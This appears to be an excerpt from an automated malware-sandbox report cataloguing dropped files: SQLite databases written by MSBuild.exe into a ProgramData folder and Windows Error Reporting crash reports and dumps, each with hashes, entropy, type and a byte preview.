SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\IDHDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\IDHIDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\IDHIDB-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\JJDBAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\KECGHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\KEGCFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJECAAKKFHCF\KEGCFC-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HCAEHDHDAK.exe_9dabc8e1ebc265b690426eea4de85ddba630cd_4b2dd832_3beb4500-91a4-4e13-a57c-de2c593e1f0d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6508338360636367
Encrypted:	false
SSDEEP:	96:u5FqBP20HIRmsgyavKAaSfuQXIDcQvc6QcEVcw3cE/f+HbHg/5hZAX/d5FMT2SlA:mM2BAP0BU/4jhzuiFWZ24IO8Om
MD5:	7302312289492A9EF290E9DFF702289F
SHA1:	33E267C89F9D051BC9D9D738C8417D71DFFEB634
SHA-256:	898758DB7C25EB66155FBE50A28D15E9852E3A0846BE5FB86A221B77A09E1EA9
SHA-512:	4A0087A74F1750A2B6333E8F678EAA2C30A1FCBF7EC4A74C78A2F3CFB8EAD21AC238A6A77450B4AE546830501EF1FD83F1C47523E20BE5AFAF79D7E894B3B9A4
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.6.0.5.1.9.3.3.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.6.0.8.6.3.0.5.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.e.b.4.5.0.0.-.9.1.a.4.-.4.e.1.3.-.a.5.7.c.-.d.e.2.c.5.9.3.e.1.f.0.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.9.2.1.4.4.5.-.c.a.5.4.-.4.4.0.2.-.9.a.a.8.-.9.1.6.d.0.6.a.7.f.0.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.C.A.E.H.D.H.D.A.K...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.e.0.-.0.0.0.1.-.0.0.1.4.-.0.9.5.9.-.5.a.1.a.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.7.e.6.8.8.7.0.1.1.b.6.0.0.8.5.8.d.5.b.0.d.2.d.5.9.5.6.4.b.3.e.4.4.c.0.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_43832d93ddcf66f1edc5babbb1e353ebb92236_05bdfb8c_5a143afc-af36-4a87-aa6b-3db9b7c22196\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0180057604294201
Encrypted:	false
SSDEEP:	192:qxFYLcOYfsS0BU/gjem+NzuiFWZ24IO8q8:0YTYfsZBU/gjszuiFWY4IO8q
MD5:	E4B124EBBEAF6E811752BA9139666B93
SHA1:	9643851B8283AD24D2EFB59B46607FD7E1AC41F1
SHA-256:	E38E4FD5F533A53C60D244FFDDC5E27DBED770BD8E2F606CA337A338F29364CD
SHA-512:	72D6B8D546BDA93A145610C5AAAEF9749C42B25DBB998CE01BAC849DCADD7CDCF3C09E061DAF62822173FBCEA5A1D50D851046B703D50B7C747D73ECB3FE992F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.6.3.5.7.1.3.1.7.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.6.4.0.4.0.0.5.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.a.1.4.3.a.f.c.-.a.f.3.6.-.4.a.8.7.-.a.a.6.b.-.3.d.b.9.b.7.c.2.2.1.9.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.0.e.0.4.1.a.0.-.1.2.7.b.-.4.1.1.9.-.b.3.f.d.-.f.5.d.4.7.4.3.b.b.c.f.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.c.4.-.0.0.0.1.-.0.0.1.4.-.2.d.a.c.-.7.5.1.a.d.2.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VLSiVR4Qxs.exe_17fe6ad41d7e3651714d7e73af47f4fb88f3f2_d45969d3_43068dcb-f9e7-4a02-91b8-9a16f65cc357\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6542118435316322
Encrypted:	false
SSDEEP:	96:Q2FJ+g0WWzQs3yV1AYfxQXIDcQvc6QcEVcw3cE/3+HbHg/5hZAX/d5FMT2SlPkp2:nj+g2zQI0BU/QjhzuiFWZ24IO8sSw
MD5:	CDEA92CC8F7A5FC83A8F775DF847EFB5
SHA1:	479D6546A2FCE2520C1C625AD321663810045D1B
SHA-256:	F16163E634334F0767CA10444A91BAE5B610A4754ACF39E3F1230E0668143A4E
SHA-512:	D4ADEB449EDB2FC419A8BDDFDCEA0CA598C332BA3EDC5033C11443F58E2519A7FA9169CC7CEDDAD08259BB0AA31DC9945C40A042E7E3A59CEECBD84D61EC1D03
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.2.4.2.8.9.6.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.9.0.4.1.2.8.6.6.4.7.4.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.3.0.6.8.d.c.b.-.f.9.e.7.-.4.a.0.2.-.9.1.b.8.-.9.a.1.6.f.6.5.c.c.3.5.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.6.d.4.f.b.d.-.9.b.d.b.-.4.c.e.d.-.b.2.9.a.-.9.f.e.b.a.3.f.3.d.f.1.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.L.S.i.V.R.4.Q.x.s...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.9.0.-.0.0.0.1.-.0.0.1.4.-.2.e.0.3.-.7.1.f.d.d.1.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.3.3.c.a.0.b.2.9.1.4.8.8.3.c.1.7.4.c.8.7.7.5.2.5.b.0.8.5.3.7.0.7.8.3.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER544B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:01:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33282
Entropy (8bit):	1.7821146134590988
Encrypted:	false
SSDEEP:	96:5B8+hbkAzFzT6Xei773rlx/eWgdIP5MvK5pRKdkwuanxWI8WI1kI4TtUffmkCgVG:MMMOOGW9w8mtnnjTtUffmzgVw
MD5:	0C63E61F794FBF3B8C9359D417C129B2
SHA1:	620F7941E36921148F189AF4692D245C90F411B1
SHA-256:	A5C49D192627684159BCCE242140A2FB8B413DD6D08AFC7F55FFCC097C822351
SHA-512:	DD08E896A75AAB0DDCD7AA8F377D17975DCB556FD1BD6BF1769FC76DB5F6A991A8CE1421018303FA26474A8DC6D5BBA0D44A2FF376283F778CF3234FFC608870
Malicious:	false
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............bv......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER549A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.7039397606834434
Encrypted:	false
SSDEEP:	192:R6l7wVeJjeb6rN6Y9b6kogmfIyvMYNprw89bWYsf2ASm:R6lXJab6rN6Yh6kogmfIy79WLf2U
MD5:	A77A432EA6E319ED555F0FDFE63830CD
SHA1:	691FA7E1758FDA2FFBEA7878C4E1BCAFED8E1B81
SHA-256:	7862409022399958C080FCAE62D505C81F5197932F48D4C15C9197A2241174B0
SHA-512:	ECCD626E23FC330E0C8413067DCC867889BCD114E37D266C4871A39F0ED34543C01C5915E2A99A0732BA41B58DB1376842B3BB72808038C65CF3A20F5912C7D6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.2.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER54D9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.5028748411359025
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9TwWpW8VYYYm8M4JitFfks0+q8u9aBA9d:uIjfSI7xJ7VAJK0VaBA9d
MD5:	64FB81D3D7083A02C79B8AD98C7CD095
SHA1:	4F74567D7099F31256A94C54B1EE8740F8F4AFE7
SHA-256:	5C4E3B2950D221F625904FB7D813AE6B08D34DEBEF1F02233008B486AFB582EA
SHA-512:	7E77627A70193CADC370AC0FCCF98B514356ABB4EFFFD288F231F3B8C7936C57367A22D5DB46BF9EC45E24AFD3E5339F361E3B0B2EA7A8B96826603C51C944F3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6032.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 16:01:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	116068
Entropy (8bit):	1.9489832196808148
Encrypted:	false
SSDEEP:	384:CDyZ9lxkBNbN/1AX4v9Wc42dJhJ0ty+k2Si9Bc70lPWHFX:CClkBf/18q9WGH0t02zGHX
MD5:	63A8CBF7E44A3CB0ECFAB460ABC07155
SHA1:	A1CAE2B9CF673F3D5B82513A089089F12BB27AC2
SHA-256:	5F8BA67D7A5B16EE62A20EAC118F88E64FCBAC1B04CEB67B18EED3318DE75A86
SHA-512:	ABC694FC965EF988840BAC06E18A5C87D04FB0F365AF3F06F3B2E69CCDCF846126A50D2598446BDF55AC7B281EAC8BFAFE6403085546B30DA8C9F9BDD565938C
Malicious:	false
Preview:	MDMP..a..... ..........g....................................<....!...........G..........`.......8...........T............?..l............!...........#..............................................................................eJ......p$......GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER616B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8286
Entropy (8bit):	3.6985394611022095
Encrypted:	false
SSDEEP:	192:R6l7wVeJoo6e6YjJ6TtgmfJNprD89btxsf1vm:R6lXJX6e6YN6TtgmfJktqfA
MD5:	792BF8C2854897E945E19CDF9F342882
SHA1:	15DA2B2F0898BF7D2650BB89AF2D67BCDDC7A81F
SHA-256:	CC21C3BB3A05A83AE7097318CABCF46177663FFF3B68BA02B175CE4120C80C33
SHA-512:	45FBC7D772506A70D316DBA39C7D264F5C26DC32AF18CFCED9E4552A76888D869BBFC59117F93C32F0C741523FCFBA79E1766170E1979A5CD21C3DC707379492
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER618B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.465442138414058
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9TwWpW8VYRYm8M4JLZFT+q8I0mL3d:uIjfSI7xJ7VZJr6mL3d
MD5:	59379649A79BA5DE6D57DFE02AC02F82
SHA1:	37BB05B2F02E87ED14A58B1CE3127EBFF083CC36
SHA-256:	8CF8086854BB3914C5481635DB9EBEDF74045E6FD15AD499DA35D92072F5BB4D
SHA-512:	81965CF437737EE4390538B38A55BE81CB904C33C873AC0BE82A752F73FD38EFC065E309B309A69FC4A04625705CC93C4EA62A51C3AB8B289703A134B2D9BB9A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533223" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER98AC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 16:00:12 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34036
Entropy (8bit):	1.704310755939661
Encrypted:	false
SSDEEP:	96:5hn8EckAzFzI++i77mcvk1azSmInFFKgNXRwz/I/D5K/RWIdWIXyQojIwT84BPiE:8N+OO1am7nFFKURwzoK/boJT84B6E
MD5:	E200750D32F8578066FCD256C3041CB3
SHA1:	D14613FCC13CCF6CBA845B21932460BF0D5F1D01
SHA-256:	D72A4B171C9F30EBA9BB13187734245EDE1953CD7AC6AFFD1CCCB335F38859BC
SHA-512:	303F36DF47D3E9B6ABB45890AC49CFFB90A7727024E363F2CBB6D6F0CC1C271138CA8ED12FBEABEC6B36723C1C4974E0E09F23438119C1B1CFDE1FCF739B2AFC
Malicious:	false
